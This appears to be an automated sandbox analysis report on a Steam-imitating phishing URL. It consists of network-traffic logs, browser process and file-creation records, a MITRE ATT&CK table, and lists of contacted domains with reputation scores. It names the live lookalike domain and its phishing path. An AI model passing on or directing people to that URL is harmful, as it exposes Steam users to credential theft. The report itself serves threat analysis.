Source: unknown	Network traffic detected: HTTP traffic on port 57521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57555 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57524
Source: unknown	Network traffic detected: HTTP traffic on port 57235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57525
Source: unknown	Network traffic detected: HTTP traffic on port 57321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57531
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57532
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57534
Source: unknown	Network traffic detected: HTTP traffic on port 57385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57543
Source: unknown	Network traffic detected: HTTP traffic on port 57424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57306
Source: unknown	Network traffic detected: HTTP traffic on port 57458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57548
Source: unknown	Network traffic detected: HTTP traffic on port 57601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57308
Source: unknown	Network traffic detected: HTTP traffic on port 57294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57302
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57303
Source: unknown	Network traffic detected: HTTP traffic on port 57515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57553
Source: unknown	Network traffic detected: HTTP traffic on port 57402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57554
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57550
Source: unknown	Network traffic detected: HTTP traffic on port 57631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57319
Source: unknown	Network traffic detected: HTTP traffic on port 57257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57323
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57565
Source: unknown	Network traffic detected: HTTP traffic on port 57481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57561
Source: unknown	Network traffic detected: HTTP traffic on port 57351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:57202 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@30/428@70/25

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2004,i,16182888411627534459,9118795571554780870,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sneamcomnnumnlty.com/jfh8893040282949023/here/put"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1988,i,12338572558593923070,16571390887266231592,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2004,i,16182888411627534459,9118795571554780870,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1988,i,12338572558593923070,16571390887266231592,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	5%	Virustotal		Browse

Source	Detection	Scanner	Link
help.steampowered.com	1%	Virustotal	Browse
recaptcha.net	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
cdn.akamai.steamstatic.com	0%	Virustotal	Browse
api.steampowered.com	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
community.cloudflare.steamstatic.com	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
a.nel.cloudflare.com	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
fonts.cdnfonts.com	0%	Virustotal	Browse
store.steampowered.com	0%	Virustotal	Browse
sneamcomnnumnlty.com	1%	Virustotal	Browse
community.akamai.steamstatic.com	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
store.akamai.steamstatic.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
cdn.jsdelivr.net	0%	Virustotal	Browse
login.steampowered.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	0%	URL Reputation	safe
https://cloud.google.com/recaptcha-enterprise/billing-information	0%	URL Reputation	safe
https://steamcommunity.com/chat/group/	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unknown.svg	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	0%	Virustotal		Browse
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	0%	Virustotal		Browse
https://github.com/jquery/jquery-color	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	0%	Virustotal		Browse
https://steam.tv	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_6100_crown.png	0%	Virustotal		Browse
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	0%	Virustotal		Browse
https://help.steampowered.com/th/	0%	Virustotal		Browse
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_4.png?v=2	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	0%, Virustotal, Browse	unknown
fonts.cdnfonts.com	172.67.184.158	true	false	0%, Virustotal, Browse	unknown
api.steampowered.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
help.steampowered.com	104.102.49.254	true	false	1%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
cdn.akamai.steamstatic.com	2.19.126.133	true	false	0%, Virustotal, Browse	unknown
community.cloudflare.steamstatic.com	172.64.145.151	true	false	0%, Virustotal, Browse	unknown
recaptcha.net	142.250.186.67	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.130.137	true	false	1%, Virustotal, Browse	unknown
store.steampowered.com	88.221.169.65	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
sneamcomnnumnlty.com	104.21.91.169	true	false	1%, Virustotal, Browse	unknown
www.google.com	216.58.206.68	true	false	0%, Virustotal, Browse	unknown
store.akamai.steamstatic.com	2.16.168.6	true	false	0%, Virustotal, Browse	unknown
login.steampowered.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
community.akamai.steamstatic.com	2.19.126.154	true	false	0%, Virustotal, Browse	unknown
cdn.jsdelivr.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sneamcomnnumnlty.com/20412b512e0800525759537f09515d5b69040607	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	false	0%, Virustotal, Browse	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg	false		unknown
https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png	false		unknown
https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english	false		unknown
https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg	false		unknown
https://a.nel.cloudflare.com/report/v4?s=GXm3Z2u9OX48XvtdVcGZUJ8V4uxwbrgSOmzzO3JKWSuZZirJzCyp3u%2BuHxmegxxhRSenosDiXgxKCQc0osM20UAj%2Fglzmdf4bWx2uBjiI4WXDdzYgDcUDu7jixG2ZcuSKfKi%2Fu5o7A%3D%3D	false		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg	false		unknown
https://store.steampowered.com/favicon.ico	false		unknown
https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG	false		unknown
https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	true		unknown
https://store.akamai.steamstatic.com/public/images/x9x9.gif	false		unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015	false		unknown
